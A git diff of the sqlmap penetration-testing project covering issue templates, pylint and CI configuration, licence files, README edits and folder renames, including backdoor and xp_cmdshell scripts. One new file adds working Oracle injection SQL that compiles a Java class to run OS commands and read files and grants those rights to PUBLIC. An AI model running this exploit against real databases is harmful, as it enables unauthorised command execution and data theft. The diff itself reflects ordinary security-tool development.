diff --git a/.gitattributes b/.gitattributes
index 806cf1b9a63..dd5ba8f8848 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -3,6 +3,8 @@
*.md5 text eol=lf
*.py text eol=lf
*.xml text eol=lf
+LICENSE text eol=lf
+COMMITMENT text eol=lf
*_ binary
*.dll binary
diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md
deleted file mode 100644
index cf4ea5111ad..00000000000
--- a/.github/ISSUE_TEMPLATE.md
+++ /dev/null
@@ -1,26 +0,0 @@
-## What's the problem (or question)?
-
-
-
-## Do you have an idea for a solution?
-
-
-
-## How can we reproduce the issue?
-
-1.
-2.
-3.
-4.
-
-## What are the running context details?
-
-* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`):
-* Client OS (e.g. `Microsoft Windows 10`)
-* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation):
-* Target DBMS (e.g. `Microsoft SQL Server`):
-* Detected WAF/IPS protection (e.g. `ModSecurity` or `unknown`):
-* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`):
-* Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works):
-* Relevant console output (if any):
-* Exception traceback (if any):
diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 00000000000..b7753a2553d
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,37 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: bug report
+assignees: ''
+
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+1. Run '...'
+2. See error
+
+**Expected behavior**
+A clear and concise description of what you expected to happen.
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
+
+**Running environment:**
+ - sqlmap version [e.g. 1.3.5.93#dev]
+ - Installation method [e.g. git]
+ - Operating system: [e.g. Microsoft Windows 10]
+ - Python version [e.g. 3.5.2]
+
+**Target details:**
+ - DBMS [e.g. Microsoft SQL Server]
+ - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind]
+ - WAF/IPS [if any]
+ - Relevant console output [if any]
+ - Exception traceback [if any]
+
+**Additional context**
+Add any other context about the problem here.
diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md
new file mode 100644
index 00000000000..e301d68ce74
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/feature_request.md
@@ -0,0 +1,20 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: feature request
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+A clear and concise description of what you want to happen.
+
+**Describe alternatives you've considered**
+A clear and concise description of any alternative solutions or features you've considered.
+
+**Additional context**
+Add any other context or screenshots about the feature request here.
diff --git a/.gitignore b/.gitignore
index 81f58777842..1f7f94a3b1e 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,6 +1,8 @@
-*.py[cod]
output/
+__pycache__/
+*.py[cod]
.sqlmap_history
traffic.txt
*~
+req*.txt
.idea/
\ No newline at end of file
diff --git a/.pylintrc b/.pylintrc
new file mode 100644
index 00000000000..631dcdd9110
--- /dev/null
+++ b/.pylintrc
@@ -0,0 +1,546 @@
+# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker
+
+[MASTER]
+
+# Specify a configuration file.
+#rcfile=
+
+# Python code to execute, usually for sys.path manipulation such as
+# pygtk.require().
+init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
+
+# Add files or directories to the blacklist. They should be base names, not
+# paths.
+ignore=
+
+# Pickle collected data for later comparisons.
+persistent=no
+
+# List of plugins (as comma separated values of python modules names) to load,
+# usually to register additional checkers.
+load-plugins=
+
+# Use multiple processes to speed up Pylint.
+# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!!
+jobs=1
+
+# Allow loading of arbitrary C extensions. Extensions are imported into the
+# active Python interpreter and may run arbitrary code.
+unsafe-load-any-extension=no
+
+# A comma-separated list of package or module names from where C extensions may
+# be loaded. Extensions are loading into the active Python interpreter and may
+# run arbitrary code
+extension-pkg-whitelist=
+
+# Allow optimization of some AST trees. This will activate a peephole AST
+# optimizer, which will apply various small optimizations. For instance, it can
+# be used to obtain the result of joining multiple strings with the addition
+# operator. Joining a lot of strings can lead to a maximum recursion error in
+# Pylint and this flag can prevent that. It has one side effect, the resulting
+# AST will be different than the one from reality.
+optimize-ast=no
+
+
+[MESSAGES CONTROL]
+
+# Only show warnings with the listed confidence levels. Leave empty to show
+# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED
+confidence=
+
+# Enable the message, report, category or checker with the given id(s). You can
+# either give multiple identifier separated by comma (,) or put this option
+# multiple time. See also the "--disable" option for examples.
+disable=all
+
+enable=import-error,
+ import-self,
+ reimported,
+ wildcard-import,
+ misplaced-future,
+ deprecated-module,
+ unpacking-non-sequence,
+ invalid-all-object,
+ undefined-all-variable,
+ used-before-assignment,
+ cell-var-from-loop,
+ global-variable-undefined,
+ redefine-in-handler,
+ unused-import,
+ unused-wildcard-import,
+ global-variable-not-assigned,
+ undefined-loop-variable,
+ global-at-module-level,
+ bad-open-mode,
+ redundant-unittest-assert,
+ boolean-datetime
+ deprecated-method,
+ anomalous-unicode-escape-in-string,
+ anomalous-backslash-in-string,
+ not-in-loop,
+ continue-in-finally,
+ abstract-class-instantiated,
+ star-needs-assignment-target,
+ duplicate-argument-name,
+ return-in-init,
+ too-many-star-expressions,
+ nonlocal-and-global,
+ return-outside-function,
+ return-arg-in-generator,
+ invalid-star-assignment-target,
+ bad-reversed-sequence,
+ nonexistent-operator,
+ yield-outside-function,
+ init-is-generator,
+ nonlocal-without-binding,
+ lost-exception,
+ assert-on-tuple,
+ dangerous-default-value,
+ duplicate-key,
+ useless-else-on-loop
+ expression-not-assigned,
+ confusing-with-statement,
+ unnecessary-lambda,
+ pointless-statement,
+ pointless-string-statement,
+ unnecessary-pass,
+ unreachable,
+ using-constant-test,
+ bad-super-call,
+ missing-super-argument,
+ slots-on-old-class,
+ super-on-old-class,
+ property-on-old-class,
+ not-an-iterable,
+ not-a-mapping,
+ format-needs-mapping,
+ truncated-format-string,
+ missing-format-string-key,
+ mixed-format-string,
+ too-few-format-args,
+ bad-str-strip-call,
+ too-many-format-args,
+ bad-format-character,
+ format-combined-specification,
+ bad-format-string-key,
+ bad-format-string,
+ missing-format-attribute,
+ missing-format-argument-key,
+ unused-format-string-argument
+ unused-format-string-key,
+ invalid-format-index,
+ bad-indentation,
+ mixed-indentation,
+ unnecessary-semicolon,
+ lowercase-l-suffix,
+ invalid-encoded-data,
+ unpacking-in-except,
+ import-star-module-level,
+ long-suffix,
+ old-octal-literal,
+ old-ne-operator,
+ backtick,
+ old-raise-syntax,
+ metaclass-assignment,
+ next-method-called,
+ dict-iter-method,
+ dict-view-method,
+ indexing-exception,
+ raising-string,
+ using-cmp-argument,
+ cmp-method,
+ coerce-method,
+ delslice-method,
+ getslice-method,
+ hex-method,
+ nonzero-method,
+ t-method,
+ setslice-method,
+ old-division,
+ logging-format-truncated,
+ logging-too-few-args,
+ logging-too-many-args,
+ logging-unsupported-format,
+ logging-format-interpolation,
+ invalid-unary-operand-type,
+ unsupported-binary-operation,
+ not-callable,
+ redundant-keyword-arg,
+ assignment-from-no-return,
+ assignment-from-none,
+ not-context-manager,
+ repeated-keyword,
+ missing-kwoa,
+ no-value-for-parameter,
+ invalid-sequence-index,
+ invalid-slice-index,
+ unexpected-keyword-arg,
+ unsupported-membership-test,
+ unsubscriptable-object,
+ access-member-before-definition,
+ method-hidden,
+ assigning-non-slot,
+ duplicate-bases,
+ inconsistent-mro,
+ inherit-non-class,
+ invalid-slots,
+ invalid-slots-object,
+ no-method-argument,
+ no-self-argument,
+ unexpected-special-method-signature,
+ non-iterator-returned,
+ arguments-differ,
+ signature-differs,
+ bad-staticmethod-argument,
+ non-parent-init-called,
+ bad-except-order,
+ catching-non-exception,
+ bad-exception-context,
+ notimplemented-raised,
+ raising-bad-type,
+ raising-non-exception,
+ misplaced-bare-raise,
+ duplicate-except,
+ nonstandard-exception,
+ binary-op-exception,
+ not-async-context-manager,
+ yield-inside-async-function
+
+# Needs investigation:
+# abstract-method (might be indicating a bug? probably not though)
+# protected-access (requires some refactoring)
+# attribute-defined-outside-init (requires some refactoring)
+# super-init-not-called (requires some cleanup)
+
+# Things we'd like to enable someday:
+# redefined-builtin (requires a bunch of work to clean up our code first)
+# redefined-outer-name (requires a bunch of work to clean up our code first)
+# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760)
+# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73)
+# unused-argument (need to clean up or code a lot, e.g. prefix unused_?)
+# function-redefined (@overload causes lots of spurious warnings)
+# too-many-function-args (@overload causes spurious warnings... I think)
+# parameter-unpacking (needed for eventual Python 3 compat)
+# print-statement (needed for eventual Python 3 compat)
+# filter-builtin-not-iterating (Python 3)
+# map-builtin-not-iterating (Python 3)
+# range-builtin-not-iterating (Python 3)
+# zip-builtin-not-iterating (Python 3)
+# many others relevant to Python 3
+# unused-variable (a little work to cleanup, is all)
+
+# ...
+[REPORTS]
+
+# Set the output format. Available formats are text, parseable, colorized, msvs
+# (visual studio) and html. You can also give a reporter class, eg
+# mypackage.mymodule.MyReporterClass.
+output-format=parseable
+
+# Put messages in a separate file for each module / package specified on the
+# command line instead of printing them on stdout. Reports (if any) will be
+# written in a file name "pylint_global.[txt|html]".
+files-output=no
+
+# Tells whether to display a full report or only the messages
+reports=no
+
+# Python expression which should return a note less than 10 (10 is the highest
+# note). You have access to the variables errors warning, statement which
+# respectively contain the number of errors / warnings messages and the total
+# number of statements analyzed. This is used by the global evaluation report
+# (RP0004).
+evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
+
+# Template used to display messages. This is a python new-style format string
+# used to format the message information. See doc for all details
+#msg-template=
+
+
+[LOGGING]
+
+# Logging modules to check that the string format arguments are in logging
+# function parameter format
+logging-modules=logging
+
+
+[FORMAT]
+
+# Maximum number of characters on a single line.
+max-line-length=100
+
+# Regexp for a line that is allowed to be longer than the limit.
+ignore-long-lines=^\s*(# )??$
+
+# Allow the body of an if to be on the same line as the test if there is no
+# else.
+single-line-if-stmt=no
+
+# List of optional constructs for which whitespace checking is disabled. `dict-
+# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}.
+# `trailing-comma` allows a space between comma and closing bracket: (a, ).
+# `empty-line` allows space-only lines.
+no-space-check=trailing-comma,dict-separator
+
+# Maximum number of lines in a module
+max-module-lines=1000
+
+# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
+# tab).
+indent-string=' '
+
+# Number of spaces of indent required inside a hanging or continued line.
+indent-after-paren=4
+
+# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
+expected-line-ending-format=
+
+
+[TYPECHECK]
+
+# Tells whether missing members accessed in mixin class should be ignored. A
+# mixin class is detected if its name ends with "mixin" (case insensitive).
+ignore-mixin-members=yes
+
+# List of module names for which member attributes should not be checked
+# (useful for modules/projects where namespaces are manipulated during runtime
+# and thus existing member attributes cannot be deduced by static analysis. It
+# supports qualified module names, as well as Unix pattern matching.
+ignored-modules=thirdparty.six.moves
+
+# List of classes names for which member attributes should not be checked
+# (useful for classes with attributes dynamically set). This supports can work
+# with qualified names.
+ignored-classes=
+
+# List of members which are set dynamically and missed by pylint inference
+# system, and so shouldn't trigger E1101 when accessed. Python regular
+# expressions are accepted.
+generated-members=
+
+
+[VARIABLES]
+
+# Tells whether we should check for unused import in __init__ files.
+init-import=no
+
+# A regular expression matching the name of dummy variables (i.e. expectedly
+# not used).
+dummy-variables-rgx=_$|dummy
+
+# List of additional names supposed to be defined in builtins. Remember that
+# you should avoid to define new builtins when possible.
+additional-builtins=
+
+# List of strings which can identify a callback function by name. A callback
+# name must start or end with one of those strings.
+callbacks=cb_,_cb
+
+
+[SIMILARITIES]
+
+# Minimum lines number of a similarity.
+min-similarity-lines=4
+
+# Ignore comments when computing similarities.
+ignore-comments=yes
+
+# Ignore docstrings when computing similarities.
+ignore-docstrings=yes
+
+# Ignore imports when computing similarities.
+ignore-imports=no
+
+
+[SPELLING]
+
+# Spelling dictionary name. Available dictionaries: none. To make it working
+# install python-enchant package.
+spelling-dict=
+
+# List of comma separated words that should not be checked.
+spelling-ignore-words=
+
+# A path to a file that contains private dictionary; one word per line.
+spelling-private-dict-file=
+
+# Tells whether to store unknown words to indicated private dictionary in
+# --spelling-private-dict-file option instead of raising a message.
+spelling-store-unknown-words=no
+
+
+[MISCELLANEOUS]
+
+# List of note tags to take in consideration, separated by a comma.
+notes=FIXME,XXX,TODO
+
+
+[BASIC]
+
+# List of builtins function names that should not be used, separated by a comma
+bad-functions=map,filter,input
+
+# Good variable names which should always be accepted, separated by a comma
+good-names=i,j,k,ex,Run,_
+
+# Bad variable names which should always be refused, separated by a comma
+bad-names=foo,bar,baz,toto,tutu,tata
+
+# Colon-delimited sets of names that determine each other's naming style when
+# the name regexes allow several styles.
+name-group=
+
+# Include a hint for the correct naming format with invalid-name
+include-naming-hint=no
+
+# Regular expression matching correct function names
+function-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for function names
+function-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression matching correct variable names
+variable-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for variable names
+variable-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression matching correct constant names
+const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$
+
+# Naming hint for constant names
+const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$
+
+# Regular expression matching correct attribute names
+attr-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for attribute names
+attr-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression matching correct argument names
+argument-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for argument names
+argument-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression matching correct class attribute names
+class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
+
+# Naming hint for class attribute names
+class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
+
+# Regular expression matching correct inline iteration names
+inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$
+
+# Naming hint for inline iteration names
+inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$
+
+# Regular expression matching correct class names
+class-rgx=[A-Z_][a-zA-Z0-9]+$
+
+# Naming hint for class names
+class-name-hint=[A-Z_][a-zA-Z0-9]+$
+
+# Regular expression matching correct module names
+module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
+
+# Naming hint for module names
+module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
+
+# Regular expression matching correct method names
+method-rgx=[a-z_][a-z0-9_]{2,30}$
+
+# Naming hint for method names
+method-name-hint=[a-z_][a-z0-9_]{2,30}$
+
+# Regular expression which should only match function or class names that do
+# not require a docstring.
+no-docstring-rgx=^_
+
+# Minimum line length for functions/classes that require docstrings, shorter
+# ones are exempt.
+docstring-min-length=-1
+
+
+[ELIF]
+
+# Maximum number of nested blocks for function / method body
+max-nested-blocks=5
+
+
+[IMPORTS]
+
+# Deprecated modules which should not be used, separated by a comma
+deprecated-modules=regsub,TERMIOS,Bastion,rexec
+
+# Create a graph of every (i.e. internal and external) dependencies in the
+# given file (report RP0402 must not be disabled)
+import-graph=
+
+# Create a graph of external dependencies in the given file (report RP0402 must
+# not be disabled)
+ext-import-graph=
+
+# Create a graph of internal dependencies in the given file (report RP0402 must
+# not be disabled)
+int-import-graph=
+
+
+[DESIGN]
+
+# Maximum number of arguments for function / method
+max-args=5
+
+# Argument names that match this expression will be ignored. Default to name
+# with leading underscore
+ignored-argument-names=_.*
+
+# Maximum number of locals for function / method body
+max-locals=15
+
+# Maximum number of return / yield for function / method body
+max-returns=6
+
+# Maximum number of branch for function / method body
+max-branches=12
+
+# Maximum number of statements in function / method body
+max-statements=50
+
+# Maximum number of parents for a class (see R0901).
+max-parents=7
+
+# Maximum number of attributes for a class (see R0902).
+max-attributes=7
+
+# Minimum number of public methods for a class (see R0903).
+min-public-methods=2
+
+# Maximum number of public methods for a class (see R0904).
+max-public-methods=20
+
+# Maximum number of boolean expressions in a if statement
+max-bool-expr=5
+
+
+[CLASSES]
+
+# List of method names used to declare (i.e. assign) instance attributes.
+defining-attr-methods=__init__,__new__,setUp
+
+# List of valid names for the first argument in a class method.
+valid-classmethod-first-arg=cls
+
+# List of valid names for the first argument in a metaclass class method.
+valid-metaclass-classmethod-first-arg=mcs
+
+# List of member names, which should be excluded from the protected access
+# warning.
+exclude-protected=_asdict,_fields,_replace,_source,_make
+
+
+[EXCEPTIONS]
+
+# Exceptions that will emit a warning when being caught. Defaults to
+# "Exception"
+overgeneral-exceptions=Exception
diff --git a/.travis.yml b/.travis.yml
index 192acbf7516..17dbe469845 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,9 +1,20 @@
language: python
+jobs:
+ include:
+ - python: 2.6
+ dist: trusty
+ - python: 2.7
+ dist: trusty
+ - python: 3.3
+ dist: trusty
+ - python: 3.6
+ dist: trusty
+ - python: 3.8
+ dist: xenial
sudo: false
git:
depth: 1
-python:
- - "2.6"
- - "2.7"
script:
- python -c "import sqlmap; import sqlmapapi"
+ - python sqlmap.py --smoke
+ - python sqlmap.py --vuln
diff --git a/COMMITMENT b/COMMITMENT
new file mode 100644
index 00000000000..a687e0ddb6f
--- /dev/null
+++ b/COMMITMENT
@@ -0,0 +1,46 @@
+GPL Cooperation Commitment
+Version 1.0
+
+Before filing or continuing to prosecute any legal proceeding or claim
+(other than a Defensive Action) arising from termination of a Covered
+License, we commit to extend to the person or entity ('you') accused
+of violating the Covered License the following provisions regarding
+cure and reinstatement, taken from GPL version 3. As used here, the
+term 'this License' refers to the specific Covered License being
+enforced.
+
+ However, if you cease all violation of this License, then your
+ license from a particular copyright holder is reinstated (a)
+ provisionally, unless and until the copyright holder explicitly
+ and finally terminates your license, and (b) permanently, if the
+ copyright holder fails to notify you of the violation by some
+ reasonable means prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+ reinstated permanently if the copyright holder notifies you of the
+ violation by some reasonable means, this is the first time you
+ have received notice of violation of this License (for any work)
+ from that copyright holder, and you cure the violation prior to 30
+ days after your receipt of the notice.
+
+We intend this Commitment to be irrevocable, and binding and
+enforceable against us and assignees of or successors to our
+copyrights.
+
+Definitions
+
+'Covered License' means the GNU General Public License, version 2
+(GPLv2), the GNU Lesser General Public License, version 2.1
+(LGPLv2.1), or the GNU Library General Public License, version 2
+(LGPLv2), all as published by the Free Software Foundation.
+
+'Defensive Action' means a legal proceeding or claim that We bring
+against you in response to a prior proceeding or claim initiated by
+you or your affiliate.
+
+'We' means each contributor to this repository as of the date of
+inclusion of this file, including subsidiaries of a corporate
+contributor.
+
+This work is available under a Creative Commons Attribution-ShareAlike
+4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/).
diff --git a/LICENSE b/LICENSE
index da63e45d6bb..3fd5aa775d2 100644
--- a/LICENSE
+++ b/LICENSE
@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
-sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
diff --git a/README.md b/README.md
index ad48e852818..1a01b80c7a6 100644
--- a/README.md
+++ b/README.md
@@ -1,17 +1,17 @@
-# sqlmap
+# sqlmap 
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
-sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
+sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
-**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
+**The sqlmap project is currently searching for sponsor(s).**
Screenshots
----

-You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
+You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
Installation
----
@@ -22,7 +22,7 @@ Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlm
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform.
+sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
Usage
----
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run [here](https://asciinema.org/a/46601).
-To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Links
----
@@ -58,10 +58,12 @@ Translations
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
+* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md)
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
+* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
diff --git a/data/html/index.html b/data/html/index.html
new file mode 100644
index 00000000000..a7f53972f5d
--- /dev/null
+++ b/data/html/index.html
@@ -0,0 +1,150 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
DEMO
+
+
+
+
+
+
+
+
diff --git a/procs/README.txt b/data/procs/README.txt
similarity index 100%
rename from procs/README.txt
rename to data/procs/README.txt
diff --git a/procs/mssqlserver/activate_sp_oacreate.sql b/data/procs/mssqlserver/activate_sp_oacreate.sql
similarity index 100%
rename from procs/mssqlserver/activate_sp_oacreate.sql
rename to data/procs/mssqlserver/activate_sp_oacreate.sql
diff --git a/procs/mssqlserver/configure_openrowset.sql b/data/procs/mssqlserver/configure_openrowset.sql
similarity index 100%
rename from procs/mssqlserver/configure_openrowset.sql
rename to data/procs/mssqlserver/configure_openrowset.sql
diff --git a/procs/mssqlserver/configure_xp_cmdshell.sql b/data/procs/mssqlserver/configure_xp_cmdshell.sql
similarity index 100%
rename from procs/mssqlserver/configure_xp_cmdshell.sql
rename to data/procs/mssqlserver/configure_xp_cmdshell.sql
diff --git a/procs/mssqlserver/create_new_xp_cmdshell.sql b/data/procs/mssqlserver/create_new_xp_cmdshell.sql
similarity index 100%
rename from procs/mssqlserver/create_new_xp_cmdshell.sql
rename to data/procs/mssqlserver/create_new_xp_cmdshell.sql
diff --git a/procs/mssqlserver/disable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
similarity index 100%
rename from procs/mssqlserver/disable_xp_cmdshell_2000.sql
rename to data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
diff --git a/procs/mssqlserver/dns_request.sql b/data/procs/mssqlserver/dns_request.sql
similarity index 100%
rename from procs/mssqlserver/dns_request.sql
rename to data/procs/mssqlserver/dns_request.sql
diff --git a/procs/mssqlserver/enable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
similarity index 100%
rename from procs/mssqlserver/enable_xp_cmdshell_2000.sql
rename to data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
diff --git a/procs/mssqlserver/run_statement_as_user.sql b/data/procs/mssqlserver/run_statement_as_user.sql
similarity index 100%
rename from procs/mssqlserver/run_statement_as_user.sql
rename to data/procs/mssqlserver/run_statement_as_user.sql
diff --git a/procs/mysql/dns_request.sql b/data/procs/mysql/dns_request.sql
similarity index 100%
rename from procs/mysql/dns_request.sql
rename to data/procs/mysql/dns_request.sql
diff --git a/procs/mysql/write_file_limit.sql b/data/procs/mysql/write_file_limit.sql
similarity index 100%
rename from procs/mysql/write_file_limit.sql
rename to data/procs/mysql/write_file_limit.sql
diff --git a/procs/oracle/dns_request.sql b/data/procs/oracle/dns_request.sql
similarity index 100%
rename from procs/oracle/dns_request.sql
rename to data/procs/oracle/dns_request.sql
diff --git a/data/procs/oracle/read_file_export_extension.sql b/data/procs/oracle/read_file_export_extension.sql
new file mode 100644
index 00000000000..3d66bbaf53d
--- /dev/null
+++ b/data/procs/oracle/read_file_export_extension.sql
@@ -0,0 +1,4 @@
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
diff --git a/procs/postgresql/dns_request.sql b/data/procs/postgresql/dns_request.sql
similarity index 100%
rename from procs/postgresql/dns_request.sql
rename to data/procs/postgresql/dns_request.sql
diff --git a/shell/README.txt b/data/shell/README.txt
similarity index 100%
rename from shell/README.txt
rename to data/shell/README.txt
diff --git a/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_
similarity index 100%
rename from shell/backdoors/backdoor.asp_
